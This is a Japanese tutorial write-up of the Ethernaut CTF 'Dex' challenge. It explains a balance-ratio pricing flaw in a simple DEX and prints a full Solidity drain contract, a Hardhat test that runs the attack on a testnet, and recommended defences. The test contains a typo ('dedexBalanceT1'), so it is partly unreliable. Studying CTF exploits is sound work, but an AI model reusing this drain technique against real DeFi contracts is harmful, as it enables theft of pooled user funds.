Appearance
スマートコントラクトの価格操作攻撃:DEX脆弱性の詳細な分析と実践的エクスプロイト
はじめに
分散型取引所(DEX)はDeFiエコシステムの中核をなす存在ですが、その単純な数学モデルには重大な脆弱性が潜んでいる可能性があります。本記事では、Ethernaut CTFの「Dex」チャレンジを通じて、定数積公式(Constant Product Formula)に基づくDEXの価格操作攻撃について詳細に解説します。この攻撃は、流動性プールのバランスを意図的に歪めることで、攻撃者がすべてのトークンを流出させることを可能にします。
背景:DEXの価格決定メカニズム
伝統的なDEXは、自動マーケットメーカー(AMM)モデルを採用しており、最も一般的なのがUniswap V2で使用される定数積公式です。この公式は以下のように表されます:
x * y = k
ここで:
x:プール内のトークンAの数量y:プール内のトークンBの数量k:定数(流動性プールの総価値)
このモデルでは、トークンの交換レートはプール内の残高比率によって動的に決定されます。しかし、今回分析するDEXコントラクトは、この基本原則を正しく実装しておらず、重大な脆弱性を含んでいます。
脆弱性のあるDEXコントラクトの分析
価格計算関数の欠陥
問題の核心はgetSwapPrice関数にあります:
solidity
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
この実装には以下の問題があります:
- スリッページ保護の欠如:実際の取引によるプール残高の変化を考慮せず、現在の残高のみに基づいて価格を計算
- 整数演算の丸め誤差:Solidityの整数除算は切り捨てを行うため、小さな誤差が蓄積される
- 外部価格オラクルの不在:市場価格との連動メカニズムがない
交換メカニズムの詳細
swap関数の実装を詳細に見てみましょう:
solidity
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
この実装では、トークンの移動が承認後に実行されるため、プールの残高が更新される前に価格計算が行われるという根本的な問題があります。
攻撃の理論的基礎
価格操作の数学的原理
攻撃の核心は、DEXの価格計算が以下の式に基づいていることです:
受取量 = (送信量 × 対象トークンのプール残高) ÷ 送信トークンのプール残高
連続的な取引によってプールのバランスを意図的に歪めることで、攻撃者は以下のような状況を作り出せます:
- トークンAをトークンBに交換(トークンAのプール残高↑、トークンBのプール残高↓)
- トークンBをトークンAに交換(トークンBのプール残高↑、トークンAのプール残高↓)
- このプロセスを繰り返すことで、一方のトークンのプール残高をゼロに近づける
具体的な攻撃シナリオ
初期状態:
- 攻撃者:トークン1(10)、トークン2(10)
- DEXプール:トークン1(100)、トークン2(100)
各取引後の状態変化を追跡することで、攻撃の進行を理解できます。
実践的エクスプロイト:Hackコントラクト
攻撃コントラクトの完全な実装
以下は、脆弱性を悪用する完全な攻撃コントラクトです:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDex {
function token1() external view returns (address);
function token2() external view returns (address);
function setTokens(address, address) external;
function addLiquidity(address, uint256) external;
function swap(address, address, uint256) external;
function getSwapPrice(address, address, uint256) external view returns (uint256);
function approve(address, uint256) external;
function balanceOf(address, address) external view returns (uint256);
}
contract Hack {
IDex private immutable target;
IERC20 private immutable t1;
IERC20 private immutable t2;
constructor(address _target) {
target = IDex(_target);
t1 = IERC20(target.token1());
t2 = IERC20(target.token2());
}
function doHack() external {
// 初期トークンの受け取り
t1.transferFrom(msg.sender, address(this), 10);
t2.transferFrom(msg.sender, address(this), 10);
// 無制限の承認を設定
t1.approve(address(target), type(uint).max);
t2.approve(address(target), type(uint).max);
// 連続的なスワップ操作
_swap(t1, t2); // トークン1 → トークン2
_swap(t2, t1); // トークン2 → トークン1
_swap(t1, t2); // トークン1 → トークン2
_swap(t2, t1); // トークン2 → トークン1
_swap(t1, t2); // トークン1 → トークン2
// 最終的な攻撃:残りのトークン2をすべて交換
target.swap(address(t2), address(t1), 45);
}
function _swap(IERC20 _in, IERC20 _out) private {
target.swap(address(_in), address(_out), _in.balanceOf(address(this)));
}
}
攻撃のステップバイステップ解説
初期設定:
- 攻撃コントラクトはDEXコントラクトのアドレスを受け取る
- 両トークンのインターフェースを初期化
トークンの準備:
- 攻撃者のウォレットからトークンを転送
- DEXコントラクトに対して無制限の承認を設定
連続スワップ操作:
- 各スワップでは、所有するすべてのトークンを交換
- この操作により、プールのバランスが徐々に歪められる
最終的な攻撃:
- 十分に歪んだプールバランスを利用して、一方のトークンを完全に流出させる
詳細な攻撃シミュレーション
取引1:トークン1 → トークン2(10トークン)
計算:
受取量 = (10 × 100) ÷ 100 = 10トークン2
状態更新:
- 攻撃者:トークン1(0)、トークン2(20)
- DEX:トークン1(110)、トークン2(90)
取引2:トークン2 → トークン1(20トークン)
計算:
受取量 = (20 × 110) ÷ 90 ≈ 24トークン1(切り捨てで24)
状態更新:
- 攻撃者:トークン1(24)、トークン2(0)
- DEX:トークン1(86)、トークン2(110)
取引3:トークン1 → トークン2(24トークン)
計算:
受取量 = (24 × 110) ÷ 86 ≈ 30トークン2(切り捨てで30)
状態更新:
- 攻撃者:トークン1(0)、トークン2(30)
- DEX:トークン1(110)、トークン2(80)
このプロセスを続けることで、最終的に一方のトークンのプール残高が攻撃者の所有量より少なくなり、すべてのトークンを流出させることが可能になります。
テスト実装と検証
Hardhatテストスクリプト
以下は、攻撃を検証するための完全なテストスクリプトです:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Dex, SwappableToken, Hack } from "../typechain-types";
describe("Dex", function () {
describe("Dex testnet online sepolia", function () {
it("testnet online sepolia Dex", async function () {
this.timeout(3 * 60 * 1000);
// コントラクトアドレスの設定
const DEX_ADDRESS = "0x...";
const DexFactory = await ethers.getContractFactory("Dex");
const DEX_ABI = DexFactory.interface.format();
// チャレンジャーの設定
const challenger = await ethers.getNamedSigner("deployer");
const dexContract = new ethers.Contract(DEX_ADDRESS, DEX_ABI, challenger);
// トークン1の設定
const T1_ADDRESS = await dexContract.token1();
const SwappableTokenFactory = await ethers.getContractFactory("SwappableToken");
const SWAPPABLETOKEN1_ABI = SwappableTokenFactory.interface.format();
const t1Contract = new ethers.Contract(T1_ADDRESS, SWAPPABLETOKEN1_ABI, challenger);
// トークン2の設定
const T2_ADDRESS = await dexContract.token2();
const SWAPPABLETOKEN2_ABI = SwappableTokenFactory.interface.format();
const t2Contract = new ethers.Contract(T2_ADDRESS, SWAPPABLETOKEN2_ABI, challenger);
// 初期残高の検証
const deployerBalanceT1 = await t1Contract.balanceOf(challenger.address);
expect(deployerBalanceT1).to.be.equals(10);
const deployerBalanceT2 = await t2Contract.balanceOf(challenger.address);
expect(deployerBalanceT2).to.be.equals(10);
const dexBalanceT1 = await t1Contract.balanceOf(DEX_ADDRESS);
expect(dedexBalanceT1).to.be.equals(100);
const dexBalanceT2 = await t2Contract.balanceOf(DEX_ADDRESS);
expect(dexBalanceT2).to.be.equals(100);
// 攻撃コントラクトのデプロイ
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(DEX_ADDRESS)) as Hack;
await hack.waitForDeployment();
const HACK_ADDRESS = await hack.getAddress();
// 承認の設定
const tx = await t1Contract.approve(HACK_ADDRESS, 10);
await tx.wait();
const tx1 = await t2Contract.approve(HACK_ADDRESS, 10);
await tx1.wait();
// 攻撃の実行
const tx2 = await hack.doHack();
await tx2.wait();
// 攻撃結果の検証
const dexBalanceT1_after = await t1Contract.balanceOf(DEX_ADDRESS);
expect(dexBalanceT1_after).to.be.equals(0);
});
});
});
防御策とベストプラクティス
1. 適切な価格計算式の実装
正しい定数積公式の実装:
solidity
function getSwapAmount(uint256 inputAmount, uint256 inputReserve, uint256 outputReserve)
internal pure returns (uint256 outputAmount) {
uint256 inputAmountWithFee = inputAmount * 997; // 0.3%手数料
uint256 numerator = inputAmountWithFee * outputReserve;
uint256 denominator = (inputReserve * 1000) + inputAmountWithFee;
outputAmount = numerator / denominator;
}
2. スリッページ保護の実装
solidity
function swap(
address from,
address to,
uint256 amount,
uint256 minReturn // 最小受取量
) public {
uint256 swapAmount = getSwapPrice(from, to, amount);
require(swapAmount >= minReturn, "Slippage too high");
// 残りのswapロジック...
}
3. 外部オラクルの統合
solidity
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract SecureDex {
AggregatorV3Interface internal priceFeed;
constructor(address _priceFeed) {
priceFeed = AggregatorV3Interface(_priceFeed);
}
function getExternalPrice() public view returns (uint256) {
(, int256 price, , , ) = priceFeed.latestRoundData();
return uint256(price);
}
}
4. 流動性プロバイダーの保護
solidity
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin
) external {
// 最小追加量の検証
require(amountADesired >= amountAMin, "INSUFFICIENT_A_AMOUNT");
require(amountBDesired >= amountBMin, "INSUFFICIENT_B_AMOUNT");
// 残りのロジック...
}
結論
DEXの「Dex」チャレンジは、単純な数学モデルに基づく自動マーケットメーカーの根本的な脆弱性を浮き彫りにしています。この攻撃が成功する主な理由は:
- 価格計算の単純化:現在のプール残高のみに依存した計算
- スリッページ保護の欠如:取引実行前の価格固定メカニズムがない
- 外部価格参照の不在:市場価格との乖離を防ぐメカニズムがない
実際のプロダクション環境では、Uniswap V2やその他の主要DEXがこれらの問題に対処するための様々なメカニズムを実装しています。開発者は、単純な数学モデルの実装には細心の注意を払い、適切な保護メカニズムを組み込む必要があります。
このような攻撃から学ぶべき最も重要な教訓は、金融系スマートコントラクトの設計においては、数学的正確性、経済的合理性、セキュリティのバランスが不可欠であるということです。単純な実装はしばしば予期しない脆弱性を生み出し、重大な財務的損失につながる可能性があります。